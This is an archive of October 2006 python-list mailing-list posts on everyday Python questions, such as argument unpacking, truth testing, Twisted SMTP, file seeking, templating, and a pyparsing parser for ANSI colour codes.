slower? It is not being called, so I don't see why it would affect 
performance. Overriding other sequence operators like __delslice__ does 
not exhibit this behavior.

The speed difference doesn't really bother me, but I am curious.

I used Python 2.4 for this test.

-Karl


From hanumizzle at gmail.com  Tue Oct 10 04:51:04 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Tue, 10 Oct 2006 04:51:04 -0400
Subject: does raw_input() return unicode?
In-Reply-To: <egfmcp$hcf$2@sea.gmane.org>
References: <12iln7en9ipit77@corp.supernews.com>
	<452b5190$0$29833$9b622d9e@news.freenet.de>
	<463ff4860610100109n20a174b8lc546be2c46d25363@mail.gmail.com>
	<egfl44$d53$1@sea.gmane.org>
	<463ff4860610100132p69059b46s4f6d8297ba382a7c@mail.gmail.com>
	<egfmcp$hcf$2@sea.gmane.org>
Message-ID: <463ff4860610100151v2aa0f8f9w584af83c01d90731@mail.gmail.com>

On 10/10/06, Fredrik Lundh <fredrik at pythonware.com> wrote:
> Theerasak Photha wrote:
>
> > Practically speaking, at the heart of the matter: as of Python 2.5
> > final, does or can raw_input() return Unicode under the appropriate
> > circumstances, according to user wishes?
>
> didn't Martin just answer that question?

*slaps forehead* D'oh!

-- Theerasak


From kloro2006 at gmail.com  Wed Oct 25 21:40:33 2006
From: kloro2006 at gmail.com (tom arnall)
Date: Wed, 25 Oct 2006 18:40:33 -0700
Subject: What's the best IDE?
References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
	<453ff3a7$0$23866$426a74cc@news.free.fr>
	<fXS%g.7781$5i7.4028@newsreading01.news.tds.net>
	<n_S%g.7782$5i7.4615@newsreading01.news.tds.net>
	<1161822032.211125.272160@h48g2000cwc.googlegroups.com>
	<mailman.1228.1161824335.11739.python-list@python.org>
Message-ID: <454004a9$0$19602$88260bb3@free.teranews.com>

Ben Finney wrote:

> "Hakusa at gmail.com" <Hakusa at gmail.com> writes:
> 
>> After researching Komodo, I found it's not free. The only funds I
>> have are a college fund, and I can't start diping into that until
>> I'm going to college. Any free AND good IDEs?
> 
> Please consider trying Python with a powerful editor, instead of a
> just-for-Python environment. Knowing a powerful editor is a far better
> investment than a complex tool for a single purpose.

Amen. 

As an alternative to the IDE straight-jacket you might consider going the
unit-testing/'live code' route, which obviates the need for a debugger and
other clutter found in all of the IDEs i've seen. Also, you might think
about writing your own unit-tester. It's not difficult in python and will
give you a setup tailored to your own tastes. But whatever you do, keep
things simple and light.


-- 
tom arnall
north spit, ca
usa

-- 
Posted via a free Usenet account from http://www.teranews.com



From Roka100 at gmail.com  Mon Oct 30 01:31:09 2006
From: Roka100 at gmail.com (Jia Lu)
Date: 29 Oct 2006 22:31:09 -0800
Subject: [wxPython] wxFrame don't have Bind attribute ??
Message-ID: <1162189869.503325.51280@b28g2000cwb.googlegroups.com>

Hi all
 I am using wxPy 2.6.3.2-2, But when run an application with self.Bind
, I got an error that there is no Bind.

 How can I fix it. thanx



From apardon at forel.vub.ac.be  Mon Oct 30 04:01:39 2006
From: apardon at forel.vub.ac.be (Antoon Pardon)
Date: 30 Oct 2006 09:01:39 GMT
Subject: question about True values
References: <1161812827.596356.316450@f16g2000cwb.googlegroups.com>
	<1161860305.348329.283780@m73g2000cwd.googlegroups.com>
	<mailman.1264.1161861732.11739.python-list@python.org>
	<donn-15D0D7.09580726102006@gnus01.u.washington.edu>
	<slrnek3kvc.aqe.apardon@rcpc42.vub.ac.be>
	<mailman.1341.1161943345.11739.python-list@python.org>
	<slrnek3ohb.aqe.apardon@rcpc42.vub.ac.be>
	<mailman.1342.1161948402.11739.python-list@python.org>
	<slrnek3rko.aqe.apardon@rcpc42.vub.ac.be>
	<mailman.1345.1161950058.11739.python-list@python.org>
	<pan.2006.10.27.14.03.18.314595@REMOVE.THIS.cybersource.com.au>
	<1161973508.972142.109500@i42g2000cwa.googlegroups.com>
	<pan.2006.10.28.07.45.14.198030@REMOVE.THIS.cybersource.com.au>
	<1162031090.711952.228280@m7g2000cwm.googlegroups.com>
	<pan.2006.10.28.22.10.57.345329@REMOVE.THIS.cybersource.com.au>
	<1162107083.907729.127120@f16g2000cwb.googlegroups.com>
	<pan.2006.10.29.12.22.58.859817@REMOVE.THIS.cybersource.com.au>
Message-ID: <slrnekbfrj.e1d.apardon@rcpc42.vub.ac.be>

On 2006-10-29, Steven D'Aprano <steve at REMOVE.THIS.cybersource.com.au> wrote:
> On Sun, 29 Oct 2006 00:31:23 -0700, Carl Banks wrote:
>
> That's why (for example) Python allows + to operate on lists, or strings,
> or floats

That was IMO a mistake. There are types for which concatenation as well as
addition are meaningfull operators. By using the "+" for both these
operations, writing such a class becomes awkward in Python because you
have to stray away from Python idiom for one of the two operations.
Should Python have chosen the "_" character for concatenating writing
amnd working with such a class would have looked more natural.

> -- but that doesn't imply that you can add a list to a float,
> or that the same code will operate happily on both lists and floats. You,
> the developer, don't need to care what data types you are adding, you just
> use the same syntax: a+b.

Of course the developer needs to care. It's not because a+b will give
a result that the result will also be meaningfull. It is not because
a class has defined the operators "+", "-", "/", "*" it will give
a meaningfull result if you throw a matrix of instances into procdure
that solves equations.

> The objects themselves know what addition
> means to themselves. In practice, string addition threatens to be so
> inefficient that you might wish to avoid doing it, but as a general
> principle, Python idioms and syntax are as type-independent as possible.

Which isn't necesarrily a good thing. I think there is even a warning
somewhere against too easily overloading the arithmetic operators
for operations that don't act at all as such operators. I think
they should have thought of that before using "+" for concatenation.

> That's why obj[index] works whether you are getting or setting or deleting
> an item, whether it is a sequence or a mapping or a custom class. As much
> as possible, you don't need to know what the object is to know what syntax
> to use. The idiom for item-access should always be obj[index], not
> obj[index] for some types, obj.get(index) for some others, and
> getitem(obj, index) for the rest.
>
> (Custom classes are, of course, free to break these guidelines, just as
> the numpy developers were free to have __nonzero__ raise an exception. One
> hopes they have good reasons for doing so.)
>
> And that's why Python not only allows but prefers "if any_object_at_all:"
> over type-dependent tricks. The *object itself* is supposed to know
> whether it is equivalent to true or false

But the objects idea of true and false may not be the most usefull
distinction the programmer wants to make. Look at the following
example:

  if container:
    Prepare()
    Treat(container)

Now Treat will throw an exception if container is not enough
list like. But that exception will be throw after Prepare has
done useless work in this case. If I replace "if container"
with "if len(container)" the exception will be thrown earlier.
So using "if len(container)" gives more usefull information
than a simple "if container".

> (or, in rare cases like numpy
> arrays, raise an exception if truth-testing doesn't mean anything for the
> type). You, the developer, are not supposed to spend your time wondering
> how to recognise if the object is equivalent to false, you just ask the
> object.
>
> If some well-meaning person argued that the correct way to test for a
> numeric value of zero/non-zero was like this:
>
> if x*2 != x:
>     # x must be non-zero
>
> you'd fall down laughing (at least, I hope you'd fall down laughing). Yes,
> such a test works, but you'd be crazy to do such unnecessary work if all
> you want to know if x was nonzero. (And beware of floating point rounding:
> what if x is tiny?)
>
> And then someone passes a class that implements infinity or the alephs to
> this function (that could simply mean an INF float on a platform that
> supports the IE standard) and the code wrongly decides that INF is zero.
> Oops.
>
> "if x == 0:" is better, but still not good enough, because you're
> still making assumptions about the data type. What if it is a numeric type
> that works with interval arithmetic? You don't know what the right way to
> test for a False interval is -- but the interval class itself will know.

But you have no idea that the interval of "False" will guide you to the
right branch. And inteval class might treat all zero length intervals
as False or it could have a special empty interval which would be the
only False interval. Both could be argued for, but you would want to
know which before you would rely on "if some_interval:" to guide
you to the right branch.

> And that's the point -- you're making unnecessary assumptions about the
> data, *and* doing unnecessary calculations based on those assumptions. At
> best, you're wasting your time. At worst, you're introducing bugs.

You have to make assumptions anyway. And your kind of code could
introduce bugs just the same.

> It isn't often that I make an appeal to authority, but this is one of
> them. No offense, but when it comes to language design its a brave or
> foolish programmer who bucks the language idioms that Guido chose.

You don't have to be that brave to go against Guido's autority. It
is only recently he introduced a ternary operator and then only after
someone in the development group was hit by a bug introduced by the
then supported idiom. Python is a nice enough language with a high
quality in design. Yet it still has its warts. So I see no
reason to blindly follow the autority of its designers.

-- 
Antoon Pardon


From fredrik at pythonware.com  Mon Oct 30 01:59:42 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 30 Oct 2006 07:59:42 +0100
Subject: Very simple request about argument setting.
In-Reply-To: <1162181887.815509.95420@m7g2000cwm.googlegroups.com>
References: <1162173597.849028.25940@m7g2000cwm.googlegroups.com>	<1162177851.172060.228610@m7g2000cwm.googlegroups.com>
	<1162181887.815509.95420@m7g2000cwm.googlegroups.com>
Message-ID: <ei47su$ubf$1@sea.gmane.org>

Hakusa at gmail.com wrote:

> ArdPy wrote:
>> There is an error in the syntax the star must prefix the variable name
>> not suffix it.
>> Then the items variable will accept the parameter value as a tuple.
> 
> Hmm, tuples are immutable, right? I need something mutable so that when
> the player picks up an item, it's no longer in the room.

the *args syntax is used to capture extra positional arguments, so you 
can deal with them later.  consider the following code:

     def func(*args):
         args.append(4)

     func(1, 2, 3)

where do you expect the "4" to go?

if you want to *store* the items in an *instance* variable, you can 
trivially convert it to a list by passing it to the list() function:

     class Room:
       def __init__(self, name, *items):
         self.name = name
         self.items = list(items)

     r = Room("hall", "old shoe", "kitten", "vegetables")
     r.items.append("a wallclock round in metal")

> Besides which, I've been playing with this whole thing in the
> interactive interpreter:
> 
>>>> def shuf(x,*foo, **bar):
> ... 	return x, foo
> ...
>>>> x,foo,bar = shuf(1,2,3,4,5,6,7,8)
> Traceback (most recent call last):
>   File "<interactive input>", line 1, in <module>
> ValueError: need more than 2 values to unpack

if you compare the return statement inside the function with the 
assignment, do you see any notable differences?

> I remember that two stars is for the second tuple

if you're an expert on tutorials, surely you should be able to find one 
and look this up in no time at all?

(the **bar syntax captures extra *keyword* arguments)

> So what I am doing wrong?

programming by trial and error?

</F>



From fulvio at tm.net.my  Mon Oct 23 03:54:16 2006
From: fulvio at tm.net.my (Fulvio)
Date: Mon, 23 Oct 2006 15:54:16 +0800
Subject: Handling emails
Message-ID: <200610231554.17048.fulvio@tm.net.my>

***********************
Your mail has been scanned by InterScan MSS.
***********************


Hello,

I'd like to ask some clue to move further on my project :-)
The purpose would be to gather all emails (local and remote ones) to do some 
backup.
I've tried to get ideas by reading all about the modules enclose with python, 
but neither email framework nor mailbox give me the idea how to handle *one* 
email complete of payload and attachment (if any).
This purpose will give me chance to avoid duplicates and I suppose to achieve 
the grade of making a maildir o mbox file.
It's welcome to point me to useful information. Surely I'm not asking 
ready-made solution :-).

BTW sorry to whom feel hurt by the "virus scan banner". That's not generated 
by me, but rather by my ISP. I'll try to contact my ISP and ask to move it 
off from the email body.

F




From robert.kern at gmail.com  Tue Oct  3 15:53:53 2006
From: robert.kern at gmail.com (Robert Kern)
Date: Tue, 03 Oct 2006 14:53:53 -0500
Subject: Python to use a non open source bug tracker?
In-Reply-To: <efucno$25n$1@sea.gmane.org>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>	<eft78f$put$1@sea.gmane.org>	<eft974$1au$1@sea.gmane.org>	<efu9c7$lql$1@sea.gmane.org>
	<efucno$25n$1@sea.gmane.org>
Message-ID: <efuf49$ahh$1@sea.gmane.org>

Fredrik Lundh wrote:
> Robert Kern wrote:
> 
>> Sure. But what's the similarity to the fiasco part of the BitKeeper fiasco?
> 
> depends on what you consider being the cause of that fiasco.  I'm not 
> sure it was quite as simple as people are trying to make it sound...
> 
> (and your assertion that nobody but giovanni has made that connection is 
> simply wrong)

You're right. It was. I was intentionally flip; partly to goad people into 
making an actual case for Giovanni's fears, partly because I was tired and 
wanted to go to bed, and partly for my own entertainment.

I promise to contain my flipness if anyone will make a real case that the two 
situations are comparable. Surely, "this smells like the BitKeeper fiasco," is 
rather more simplistic than how others are trying to make it sound. My Googling 
brings up no argument more robust than that, either for the PSF or the ASF, and 
the infrastructure list's archives are closed.

-- 
Robert Kern

"I have come to believe that the whole world is an enigma, a harmless enigma
  that is made terrible by our own mad attempt to interpret it as though it had
  an underlying truth."
   -- Umberto Eco



From steve at holdenweb.com  Tue Oct 10 05:59:11 2006
From: steve at holdenweb.com (Steve Holden)
Date: Tue, 10 Oct 2006 10:59:11 +0100
Subject: Everything is a distributed object
In-Reply-To: <a7lqv3-tdd.ln1@C20.host>
References: <a7lqv3-tdd.ln1@C20.host>
Message-ID: <egfqrn$1ft$2@sea.gmane.org>

Martin Drautzburg wrote:
> Hello all,
> 
> I've seen various attempts to add distributed computing capabilities on top
> of an existing language. For a true distributed system I would expect it to
> be possible to instantiate objects of a remote class or to subclass a
> remote class and other stuff like this. My impression is that those things
> are difficult when built on top of an existing language.
> 
> Since the paradigm "everything is an object" pays so well, I thought it
> might be less painful to implement a distributed system from ground up,
> starting with the paradigm: "everything is a distributed object".
> 
Unfortunately the overhead of supporting distribution is way too high to 
want to invoke it between two objects living in the same process.

> Do you know if such a thing has been attempted with python, i.e. by hacking
> the python core and add new capabilities to "object". Or do you think that
> this is really a silly idea ? 

I'd prefer to say "misguided" ;-)

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From no-spam at no-spam-no-spam.com  Mon Oct  2 12:17:44 2006
From: no-spam at no-spam-no-spam.com (robert)
Date: Mon, 02 Oct 2006 18:17:44 +0200
Subject: Python threads and Numeric/SciPy exploit Dual Core ?
In-Reply-To: <mailman.1081.1159785982.10491.python-list@python.org>
References: <efqq34$22nc$1@ulysses.news.tiscali.de>
	<mailman.1081.1159785982.10491.python-list@python.org>
Message-ID: <efre39$262r$1@ulysses.news.tiscali.de>

Fredrik Lundh wrote:

> "robert" wrote:
> 
> 
>>Simple Python code obviously cannot use the dual core by Python threads.
>>Yet, a program drawing CPU mainly for matrix computations - preferably
>>with Numeric/SciPy -  will this profit from a dual core when using 2 (or
>>more) Python threads?
> 
> 
> as long as the binding releases the GIL, sure.

Thus - does Numeric/SciPy release it?
The same q about the orange (data mining) lib.

Robert


From russ.phillips.nospam at googlemail.com  Sat Oct 28 08:20:16 2006
From: russ.phillips.nospam at googlemail.com (russ.phillips.nospam at googlemail.com)
Date: 28 Oct 2006 05:20:16 -0700
Subject: gettext on Windows
In-Reply-To: <1162029032.840155.147160@b28g2000cwb.googlegroups.com>
References: <1162022669.684710.182530@m7g2000cwm.googlegroups.com>
	<mailman.1392.1162022981.11739.python-list@python.org>
	<1162023784.123822.266270@m73g2000cwd.googlegroups.com>
	<454322BC.8020002@v.loewis.de>
	<1162028026.501490.93250@m7g2000cwm.googlegroups.com>
	<1162029032.840155.147160@b28g2000cwb.googlegroups.com>
Message-ID: <1162038016.231735.41180@i3g2000cwc.googlegroups.com>

Leo Kislov wrote:

> Try msgunfmt
> http://www.gnu.org/software/gettext/manual/html_node/gettext_128.html#SEC128
> to see if it can convert your files back to text.

Just tried it, and it was able to convert each of the .mo files back to
text without any problems.

Russ



From onurb at xiludom.gro  Mon Oct 23 13:57:58 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Mon, 23 Oct 2006 19:57:58 +0200
Subject: HTML Templates (Sitemesh/Tiles concept) in Python
In-Reply-To: <1161618598.598300.127970@m73g2000cwd.googlegroups.com>
References: <1161618598.598300.127970@m73g2000cwd.googlegroups.com>
Message-ID: <453d02a7$0$15559$426a34cc@news.free.fr>

Suren wrote:
> Hello,
> 
> I am a newbie to python and web development. I am part of a fairly
> simple project and we are trying to identify an efficient way to design
> our html pages. The technologies at our disposal are javascript, html
> and python for now.

Python with ? CGI ? FastCGI ? mod_python ? Other ?


> Our pages bear a very standard look. Here is what it looks like.
> 
(snip)

> l1 through l5 are links that basically target the content page and fill
> in. Each page via that link has a python reference to go gather
> appropriate data for the content page. We are using frames to do the
> banner.html, menu.html (the links page) and the content page.

You shouldn't - unless this is an internal web-based application, not a
public site. Since your dynamically generating the pages, there's no
gain using frames - but there are huge drawbacks, for the programmers as
well as for the visitors.

> For the content page, how can we decorate it on top with the back/front
> buttons and logout buttons and botton with a copyright in every page.
> It seems error prone as well as bad design to scatter this logic in
> each content page. Is there a template logic like Sitemesh or Tiles
> concept that can decorate a desired page just before show time?

There are lot of web templating engines in Python, and most of them
provide some way to either "extend" an existing template (to fill-in
page-specific stuffs) or to do server-side-includes-like inclusion of
common parts. Google for Genshi, Jinja, SimpleTAL, Mighty, Cheetah...

> Any other tips to help life easier are appreciated.

Have you considered using one of the existing python web development
libraries/frameworks? Like Pylons, Turbogears, Django, Spyce, Karigell,
etc, etc, etc, etc...

My 2 cents...
-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From Jeff.Demel at JavelinDirect.com  Thu Oct 19 13:42:58 2006
From: Jeff.Demel at JavelinDirect.com (Demel, Jeff)
Date: Thu, 19 Oct 2006 12:42:58 -0500
Subject: invert or reverse a string... warning this is a rant
Message-ID: <136ED738BD4F1545B97E4AC06FF6370734BEED@DMSP-MSG-EVS01.mail.pvt>

Paul wrote:
>"".join(sum(map(list,zip(s,s[len(s)/2:])),[]))
>
>perhaps?

Not quite as elegant as a "string.shuffle" would be, am I right?

-Jeff
This email is intended only for the individual or entity to which it is addressed.  This email may contain information that is privileged, confidential or otherwise protected from disclosure. Dissemination, distribution or copying of this e-mail or any attachments by anyone other than the intended recipient, or an employee or agent responsible for delivering the message to the intended recipient, is prohibited. If you are not the intended recipient of this message or the employee or agent responsible for delivery of this email to the intended recipient, please notify the sender by replying to this message and then delete it from your system.  Any use, dissemination, distribution, or reproduction of this message by unintended recipients is strictly prohibited and may be unlawful.


From skip at pobox.com  Fri Oct 20 15:47:03 2006
From: skip at pobox.com (skip at pobox.com)
Date: Fri, 20 Oct 2006 14:47:03 -0500
Subject: Steve Holden on running sprints
Message-ID: <17721.10167.585504.723045@montanaro.dyndns.org>

Interesting article by Steve Holden on running a sprint:

    http://www.onlamp.com/pub/a/python/2006/10/19/running-a-sprint.html

Stand up and take a bow please, Steve...

Skip


From horpner at yahoo.com  Wed Oct 18 21:28:19 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: Thu, 19 Oct 2006 01:28:19 GMT
Subject: codecs.EncodedFile
References: <slrnejc6jv.1nk.horpner@FIAD06.norwich.edu>
	<1161217661.478389.85870@i3g2000cwc.googlegroups.com>
Message-ID: <TwAZg.7433$5i7.715@newsreading01.news.tds.net>

On 2006-10-19, Leo Kislov <Leo.Kislov at gmail.com> wrote:
> Neil Cerutti wrote:
>> It turns out to be troublesome for my case because the
>> EncodedFile object translates calls to readline into calls to
>> read.
>>
>> I believe it ought to raise a NotImplemented exception when
>> readline is called.
>>
>> As it is it silently causes interactive applications to
>> apparently hang forever, and breaks the line-buffering
>> expectation of non-interactive applications.
>
> Does it work if stdin is a pipe? If it works then raising
> NotImplemented doesn't make sense.

You're right, it does work in that case. Excellent! So my second
speculation about it breaking non-interactive applications was
false. I should have peeked at the code before babbling.  Sorry
about that. That it might be using an internal buffer never
occurred to me.

>> If raising the exception is too much to ask, then at least it
>> should be documented better.
>
> Improving documentation is always a good idea. Meanwhile see my
> solution how to make readline method work:
> http://groups.google.com/group/comp.lang.python/msg/f1267dc612314657

Thanks for that solution. That'll do nicely.

The moral I'm discovering is: Don't try to write an interactive
application in Python that uses stdin and stdout unless it's
strictly a toy program. 

--
Neil Cerutti


From johnjsal at NOSPAMgmail.com  Fri Oct 13 14:57:39 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Fri, 13 Oct 2006 18:57:39 GMT
Subject: SPE for 2.5?
In-Reply-To: <defac$452fdc95$4275d90a$20535@FUSE.NET>
References: <NJQXg.106$1n3.2880@news.tufts.edu>
	<defac$452fdc95$4275d90a$20535@FUSE.NET>
Message-ID: <DkRXg.107$1n3.2887@news.tufts.edu>

Kevin Walzer wrote:

> February is the last month
> anything new appeared, as far as I know.

Actually, the latest looks to be January.


From fredrik at pythonware.com  Thu Oct 26 07:35:45 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 26 Oct 2006 13:35:45 +0200
Subject: The format of filename
References: <slrnejs9l1.184.horpner@FIAD06.norwich.edu><mailman.1074.1161701843.11739.python-list@python.org><slrnejsaoq.1gg.horpner@FIAD06.norwich.edu><slrnejsb2q.1pk.horpner@FIAD06.norwich.edu><slrnejsc0e.1pk.horpner@FIAD06.norwich.edu><l8l0k25bvmcdpm6tmd7rnkodd6i7um9l23@4ax.com>
	<yX00h.7799$5i7.7631@newsreading01.news.tds.net>
Message-ID: <ehq6ih$col$1@sea.gmane.org>

Neil Cerutti wrote:

> Seriously, experiments show the forward slash is OK as a
> seperator, it just can't be root.

do you think you can figure out why, even without reading the various MSDN
pages you've been pointed to ?

</F> 





From ptmcg at austin.rr._bogus_.com  Sun Oct 22 20:44:25 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Mon, 23 Oct 2006 00:44:25 GMT
Subject: Attempting to parse free-form ANSI text.
References: <GsGdnTIYc-lXaafYnZ2dnUVZ_sCdnZ2d@comcast.com>
Message-ID: <JfU_g.1083$GR2.132@tornado.texas.rr.com>

"Michael B. Trausch" <"mike$#at^&nospam!%trauschus"> wrote in message 
news:GsGdnTIYc-lXaafYnZ2dnUVZ_sCdnZ2d at comcast.com...
> Alright... I am attempting to find a way to parse ANSI text from a
> telnet application.  However, I am experiencing a bit of trouble.
>
> What I want to do is have all ANSI sequences _removed_ from the output,
> save for those that manage color codes or text presentation (in short,
> the ones that are ESC[#m (with additional #s separated by ; characters).
> The ones that are left, the ones that are the color codes, I want to
> act on, and remove from the text stream, and display the text.
>
Here is a pyparsing-based scanner/converter, along with some test code at 
the end.  It takes care of partial escape sequences, and strips any 
sequences of the form
"<ESC>[##;##;...<alpha>", unless the trailing alpha is 'm'.
The pyparsing project wiki is at http://pyparsing.wikispaces.com.

-- Paul

from pyparsing import *

ESC = chr(27)
escIntro = Literal(ESC + '[').suppress()
integer = Word(nums)

colorCode = Combine(escIntro +
                Optional(delimitedList(integer,delim=';')) +
                Suppress('m')).setResultsName("colorCode")

# define search pattern that will match non-color ANSI command
# codes - these will just get dropped on the floor
otherAnsiCode = Suppress( Combine(escIntro +
                            Optional(delimitedList(integer,delim=';')) +
                            oneOf(list(alphas)) ) )

partialAnsiCode = Combine(Literal(ESC) +
                    Optional('[') +
                    Optional(delimitedList(integer,delim=';') + 
Optional(';')) +
                    StringEnd()).setResultsName("partialCode")
ansiSearchPattern = colorCode | otherAnsiCode | partialAnsiCode


# preserve tabs in incoming text
ansiSearchPattern.parseWithTabs()

def processInputString(inputString):
    lastEnd = 0
    for t,start,end in ansiSearchPattern.scanString( inputString ):
        # pass inputString[lastEnd:start] to wxTextControl - font styles 
were set in parse action
        print inputString[lastEnd:start]

        # process color codes, if any:
        if t.getName() == "colorCode":
            if t:
                print "<change color attributes to %s>" % t.asList()
            else:
                print "<empty color sequence detected>"
        elif t.getName() == "partialCode":
            print "<found partial escape sequence %s, tack it on front of 
next>" % t
            # return partial code, to be prepended to the next string
            # sent to processInputString
            return t[0]
        else:
            # other kind of ANSI code found, do nothing
            pass

        lastEnd = end

    # # pass inputString[lastEnd:] to wxTextControl - this is the last bit
    # of the input string after the last escape sequence
    print inputString[lastEnd:]


test = """\
This is a test string containing some ANSI sequences.
Sequence 1: ~[10;12m
Sequence 2: ~[3;4h
Sequence 3: ~[4;5m
Sequence 4; ~[m
Sequence 5; ~[24HNo more escape sequences.
~[7""".replace('~',chr(27))

leftOver = processInputString(test)


Prints:
This is a test string containing some ANSI sequences.
Sequence 1:
<change color attributes to ['1012']>

Sequence 2:

Sequence 3:
<change color attributes to ['45']>

Sequence 4;
<change color attributes to ['']>

Sequence 5;
No more escape sequences.

<found partial escape sequence ['\x1b[7'], tack it on front of next>




From fredrik at pythonware.com  Wed Oct  4 10:52:12 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 4 Oct 2006 16:52:12 +0200
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it><1159908166.587313.57370@i3g2000cwc.googlegroups.com><7xr6xo97nd.fsf@ruckus.brouhaha.com><efv582$6i9$1@sea.gmane.org>
	<87ac4ciynk.fsf@benfinney.id.au><mailman.1222.1159934082.10491.python-list@python.org><1hmownm.1krarjq16rt74aN%dialUAZ###UZ#$AAtone@gWARAmail.com><mailman.1267.1159971993.10491.python-list@python.org>
	<1hmozq6.kow3g61xdpiqyN%dialUAZ###UZ#$AAtone@gWARAmail.com>
Message-ID: <eg0hqs$eb5$1@sea.gmane.org>

Valentino Volonghi wrote:

> Considering that trac can also run on postgres or mysql and also
> considering that both of these databases have enough tools to deal with
> backups I think it's a non issue.

10k entries shouldn't be much of an issue for sqlite3 either.

(I don't think any of the proposed solutions would have a *capacity* problem.
afaict, the main argument was that trac and launchpad simply isn't quite as con-
figurable as the others.  which doesn't have to be a bad thing, really -- effient
bug handling is more about process than technology.  the best issue tracking
system I've ever used wasn't even designed for issue tracking...)

</F> 





From ilias at lazaridis.com  Thu Oct  5 22:00:15 2006
From: ilias at lazaridis.com (Ilias Lazaridis)
Date: 5 Oct 2006 19:00:15 -0700
Subject: HOST - Assembla Inc. Breakout - Copyright Violation by Mr. Andy
	Singleton
In-Reply-To: <mailman.1388.1160089812.10491.python-list@python.org>
References: <1160082179.215729.164060@c28g2000cwb.googlegroups.com>
	<PUeVg.14060$5o5.12327@tornado.texas.rr.com>
	<1160088907.689743.252500@m7g2000cwm.googlegroups.com>
	<mailman.1388.1160089812.10491.python-list@python.org>
Message-ID: <1160100015.211649.310540@m73g2000cwd.googlegroups.com>

Ben Finney wrote:
> "Ilias Lazaridis" <ilias at lazaridis.com> writes:
>
> > I admit it is difficult to detect that this post is in-topic.
> > But it is.
>
> Really, it's not. If you want a voice, you already have your
> website. Mailing lists and other discussion forums have conventions
> about "topic" for a good reason.

of course.

> > http://case.lazaridis.com/wiki/Host
> > http://case.lazaridis.com/wiki/License
> > http://case.lazaridis.com/wiki/Copyright
> >
> > I should have posted them immediately.
>
> No, you should have found a forum where you know that the topic is
> appropriate -- even if that restricts it to your own website.

??? my website is not a forum (and I'm currently reducing it to the
minimum necessary information.)

and once more: this topic _is_ appropriate for a python / ruby / java
crosspost.

really very important (if you don't look to much at the subject but the
message contents).

> --
>  \          "In general my children refuse to eat anything that hasn't |
>   `\                           danced on television."  -- Erma Bombeck |
> _o__)                                                                  |
> Ben Finney



From anthra.norell at vtxmail.ch  Fri Oct 13 03:26:04 2006
From: anthra.norell at vtxmail.ch (Frederic Rentsch)
Date: Fri, 13 Oct 2006 09:26:04 +0200
Subject: File read-write mode: problem appending after reading
Message-ID: <452F3F8C.2070706@vtxmail.ch>

Hi all,

   Working with read and write operations on a file I stumbled on a 
complication when writes fail following a read to the end.

 >>> f = file ('T:/z', 'r+b')
 >>> f.write ('abcdefg')
 >>> f.tell ()
30L
 >>> f.seek (0)
 >>> f.read ()
'abcdefg'
 >>> f.flush ()  # Calling or not makes no difference
 >>> f.write ('abcdefg')

Traceback (most recent call last):
  File "<pyshell#62>", line 1, in -toplevel-
    f.write ('abcdefg')
IOError: (0, 'Error')

Flushing doesn't help. I found two work arounds:

 >>> f.read ()
'abcdefg'
 >>> f.read ()   # Workaround 1: A second read (returning an empty string)
''
 >>> f.write ('abcdefg')
(No error)

 >>> f.read ()
'abcdefg'
 >>> f.seek (f.tell ())   # Workaround 2: Setting the cursor (to where 
it is!)
 >>> f.write ('abcdefg')
(No error)

I found no problem with writing into the file. So it looks like it has 
to do with the cursor which a read puts past the end, unless it is past 
the end, in which case it goes back to the end. Is there a less kludgy 
alternative to "fseek (ftell ())"?

Frederic



From jan.bakuwel at int.greenpeace.org  Wed Oct 11 11:37:13 2006
From: jan.bakuwel at int.greenpeace.org (Jan Bakuwel)
Date: Wed, 11 Oct 2006 17:37:13 +0200
Subject: Newbie: trying to twist my head around twisted (and python)
In-Reply-To: <mailman.321.1160580341.11739.python-list@python.org>
References: <mailman.321.1160580341.11739.python-list@python.org>
Message-ID: <12iq3t9gp1o0jd4@corp.supernews.com>

Hoi Jean-Paul,

> The return value of eomReceived is used to determine whether to signal to
> the SMTP client whether the message has been accepted.  Regardless of your
> application logic, if you are taking responsibility for the message, you
> should return a successful result.  If all of your processing is
> synchronous,
> then you simply need to return twisted.internet.defer.succeed(None) at the
> end of the function.  If you have asynchronous processing to do (it does
> not
> appear as though you do), you will need to return a Deferred which only
> fires
> once that processing has been completed.

Many thanks... this helps me a great deal!

kind regards,
Jan


From onurb at xiludom.gro  Thu Oct 12 04:52:19 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Thu, 12 Oct 2006 10:52:19 +0200
Subject: operator overloading + - / * = etc...
In-Reply-To: <mailman.144.1160432125.11739.python-list@python.org>
References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com><slrneig76h.6u2.sybrenUSE@schuimige.stuvel.eu><mailman.32.1160258060.11739.python-list@python.org><slrneig8v2.746.sybrenUSE@schuimige.stuvel.eu><mailman.34.1160260043.11739.python-list@python.org><pan.2006.10.08.01.08.09.501368@REMOVE.THIS.cybersource.com.au>	<452a6a61$0$22844$426a74cc@news.free.fr>
	<mailman.144.1160432125.11739.python-list@python.org>
Message-ID: <452e0244$0$8601$426a74cc@news.free.fr>

Terry Reedy wrote:
> "Bruno Desthuilliers" <onurb at xiludom.gro> wrote in message 
> news:452a6a61$0$22844$426a74cc at news.free.fr...
>> The current namespace object, of course.
> 
> Implementing a namespace as a Python object (ie, dict) is completely 
> optional and implementation dependent.  For CPython, the local namespace of 
> a function is generally *not* done that way.

I know this, and that's not the point here. The op's question seemed to
imply that the hypothetical __assign__ method should belong to the rhs
object, which is obviously not the case - it must of course belongs to
the lhs 'object'.


-- 
bruno desthuilliers
